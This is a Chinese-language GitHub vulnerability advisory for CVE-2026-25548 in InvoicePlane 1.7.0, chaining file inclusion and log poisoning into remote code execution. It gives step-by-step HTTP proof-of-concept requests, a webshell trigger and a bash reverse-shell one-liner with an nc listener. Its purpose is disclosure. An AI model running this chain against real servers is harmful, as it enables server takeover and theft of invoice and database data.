lagathos/CVE-2026-25548

GitHub: lagathos/CVE-2026-25548

详尽记录 InvoicePlane 1.7.0 中 LFI 结合日志投毒实现 RCE 的漏洞分析与完整 PoC。

Stars: 0 | Forks: 0

# CVE-2026-25548 — InvoicePlane 1.7.0 中的远程代码执行 **漏洞类型:** 通过 Local File Inclusion + Log Poisoning 实现远程代码执行 **产品:** [InvoicePlane](https://invoiceplane.com) **受影响版本:** 1.7.0 (及可能的早期版本) **严重程度:** 危急 **CVSS 3.1 评分:** 9.1 (`CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H`) **CWE:** CWE-98, CWE-117, CWE-94 **发现者:** Leonidas Agathos **报告日期:** 2026-01-31 ## 目录 - [描述](#description) - [漏洞详情](#vulnerability-details) - [1. 本地文件包含 (LFI)](#1-local-file-inclusion-lfi) - [2. 通过上传文件名进行日志投毒](#2-log-poisoning-via-upload-filename) - [攻击链](#attack-chain) - [概念验证](#proof-of-concept) - [步骤 1 — 日志投毒](#step-1--log-poisoning) - [步骤 2 — 配置 LFI](#step-2--configure-lfi) - [步骤 3 — 触发 RCE](#step-3--trigger-rce) - [步骤 4 — 反向 Shell](#step-4--reverse-shell) - [影响](#impact) - [受影响组件](#affected-components) - [时间线](#timeline) ## 描述 InvoicePlane 1.7.0 中的一个严重漏洞链允许经过身份验证的管理员在底层服务器上实现**远程代码执行 (RCE)**。该攻击结合了两个弱点: 1. **Local File Inclusion (LFI)** — 公共发票模板设置接受任意文件路径且无验证,允许包含预期模板目录之外的文件。 2. **Log Poisoning** — 包含路径遍历字符的上传文件名被原样写入 CodeIgniter 的 `.php` 日志文件,允许注入任意 PHP 代码。 当这两者被串联利用时,具有管理员权限的攻击者可以以 Web 服务器用户的身份实现完全的服务器入侵。最终的 RCE 触发是**未经身份验证的**(通过公共发票 URL)。 ## 漏洞详情 ### 1. 本地文件包含 (LFI) | 属性 | 值 | |-----------|-------| | **文件** | `application/modules/guest/controllers/View.php` | | **行号** | 85, 191 | | **参数** | `public_invoice_template` (数据库设置) | | **CWE** | CWE-98: Improper Control of Filename for Include/Require Statement | **易受攻击代码 (`View.php:85`):** ``` $this->load->view('invoice_templates/public/' . get_setting('public_invoice_template') . '.php', $data); ``` **易受攻击代码 (`View.php:191`):** ``` $this->load->view('quote_templates/public/' . get_setting('public_quote_template') . '.php', $data); ``` `public_invoice_template` 和 `public_quote_template` 设置从数据库中检索,并直接拼接到传递给 CodeIgniter 的 `load->view()` 的文件路径中(该函数最终解析为 PHP 的 `include()`)。**没有任何验证**来: - 阻止目录遍历序列 (`../`) - 白名单允许的模板名称 - 确认文件存在于预期的模板目录内 管理员可以将此值设置为文件系统上的任何路径,仅受自动追加的 `.php` 扩展名限制。 ### 2. 通过上传文件名进行日志投毒 | 属性 | 值 | |-----------|-------| | **文件** | `application/modules/upload/controllers/Upload.php` | | **行号** | 178–184 | | **参数** | 上传文件名 (HTTP multipart 表单数据) | | **CWE** | CWE-117: Improper Output Neutralization for Logs | **易受攻击代码 (`Upload.php:178-184`):** ``` private function sanitize_file_name(string $filename): string { if (str_contains($filename, '..') || str_contains($filename, '/') || str_contains($filename, '\\') || str_contains($filename, "\0")) { log_message('error', 'Path traversal attempt detected in filename: ' . $filename); return ''; } // ... } ``` 当文件名触发路径遍历检查时,**原始、未经处理的文件名**被直接写入日志文件。CodeIgniter 日志文件: - 使用 `.php` 扩展名:`application/logs/log-YYYY-MM-DD.php` - 以 `` 开头 - 因此是**有效的 PHP 文件**,在被包含时执行 攻击者在文件名中嵌入 `` 会导致该 payload 被写入日志,随后通过 LFI 执行。 ## 攻击链 ``` [Authenticated user] → Upload malicious filename → PHP injected into log file [Admin] → Set template setting → LFI points to log file [Anyone] → Visit public invoice URL → RCE ``` | 步骤 | 要求 | |------|-------------| | 日志投毒 | 具有上传权限的经过身份验证的用户 | | LFI 配置 | 管理员账户 | | RCE 触发 | 未经身份验证 (公共发票 URL) | ## 概念验证 ### 步骤 1 — 日志投毒 发送一个文件名中嵌入了 PHP webshell 的文件上传请求。路径遍历检查将触发并将原始文件名(包括 PHP payload)写入日志文件。 **请求 (通过 Burp Suite):** ``` POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1 Host: 172.25.0.12 Cookie: ip_csrf_cookie=...; ip_session=... Content-Type: multipart/form-data; boundary=----Boundary ------Boundary Content-Disposition: form-data; name="_ip_csrf" ------Boundary Content-Disposition: form-data; name="file"; filename="...jpg" Content-Type: image/jpeg test ------Boundary-- ``` 服务器拒绝上传 (`upload_error_invalid_extension`),但日志条目已被写入: **结果在 `application/logs/log-2026-01-31.php` 中:** ``` ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ...jpg ``` ![步骤 1a - 发票附件上传入口](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/bd4b83db8a012935.png) ![步骤 1b - 通过恶意文件名注入 PHP payload](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/183d19e24c012936.png) ![步骤 1c - 显示注入的 PHP payload 的日志文件](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/8729438a0e012938.png) ### 步骤 2 — 配置 LFI 作为管理员,使用路径遍历 payload 将 `public_invoice_template` 设置为指向当天的日志文件。CodeIgniter 的视图加载器会自动追加 `.php`。 **请求 (通过 Burp Suite):** ``` POST /index.php/settings HTTP/1.1 Host: 172.25.0.12 Cookie: ip_csrf_cookie=...; ip_session= Content-Type: multipart/form-data; boundary=----Boundary ------Boundary Content-Disposition: form-data; name="settings[public_invoice_template]" ../../../logs/log-2026-01-31 ------Boundary-- ``` 遍历路径从 `application/views/invoice_templates/public/` 向上解析至 `application/logs/`,然后包含 `log-2026-01-31.php`。 ![步骤 2 - 通过 Burp Suite 将 public_invoice_template 设置为日志文件路径](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/2027b7a614012940.png) ### 步骤 3 — 触发 RCE 访问任何公共发票 URL,并作为 `1` GET 参数传递命令。无需身份验证。 **请求:** ``` GET /index.php/guest/view/invoice/?1=id HTTP/1.1 Host: 172.25.0.12 ``` **响应 (在页面源码中):** ``` Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data) .jpg ``` `system($_GET[1])` payload 执行 `id` 命令,其输出被内联反映在页面中。 ![步骤 3 - 通过公共发票 URL 在 HTTP 响应中反映的命令输出](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/840e1b4b98012942.png) ### 步骤 4 — 反向 Shell 将命令替换为 bash 反向 shell payload 以获取交互式 shell: ``` GET /index.php/guest/view/invoice/?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1 ``` 在攻击者机器上: ``` nc -lnvp 4444 ``` **结果:** ``` connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360 www-data@0dd592f7a424:~/projects/invoiceplane$ ``` 以 `www-data` 身份获得完整的交互式 shell。 ![步骤 4 - 反向 shell 建立,确认完全 RCE](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9c07678311012943.png) ## 影响 | 维度 | 评级 | 详情 | |-----------|--------|--------| | 机密性 | **高** | 完全读取 Web 服务器用户可访问的所有文件,包括数据库凭据和客户发票数据 | | 完整性 | **高** | 任意文件写入、数据库修改、web shell 安装 | | 可用性 | **高** | 拒绝服务、勒索软件部署、系统破坏 | ## 受影响组件 | 文件 | 漏洞 | |------|---------------| | `application/modules/guest/controllers/View.php:85` | LFI — 发票模板 | | `application/modules/guest/controllers/View.php:191` | LFI — 报价模板 | | `application/modules/upload/controllers/Upload.php:182` | 日志投毒 | | `application/modules/settings/controllers/Settings.php` | 模板设置无验证 | ## 时间线 | 日期 | 事件 | |------|-------| | 2026-01-30 | 发现漏洞 | | 2026-01-31 | 开发概念验证 | | 2026-01-31 | 通知供应商 | | 2026-02-03 | 供应商确认 | | 2026-02-03 | 发布补丁 | | 2026-02-04 | 公开披露 | ## 参考文献 - [CWE-98: Improper Control of Filename for Include/Require Statement](https://cwe.mitre.org/data/definitions/98.html) - [CWE-117: Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html) - [CWE-94: Improper Control of Generation of Code](https://cwe.mitre.org/data/definitions/94.html) - [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal) - [OWASP: Log Injection](https://owasp.org/www-community/attacks/Log_Injection) - [CVE-2026-25548](https://nvd.nist.gov/vuln/detail/CVE-2026-25548) ## 免责声明 此漏洞是在独立的安全研究中发现的。所有信息仅用于教育、研究和防御目的,以协助供应商和安全社区理解和修复该问题。严禁将此信息用于任何恶意目的。
标签:CISA项目, CodeIgniter, CVE, CVE-2026-25548, CWE-94, CWE-98, InvoicePlane, LFI, Log Poisoning, OpenVAS, PE 加载器, PHP, RCE, Web安全, 反向Shell, 数字签名, 文件上传漏洞, 日志投毒, 本地文件包含, 漏洞利用链, 管理员权限利用, 编程工具, 蓝队分析, 路径遍历, 远程代码执行, 高危漏洞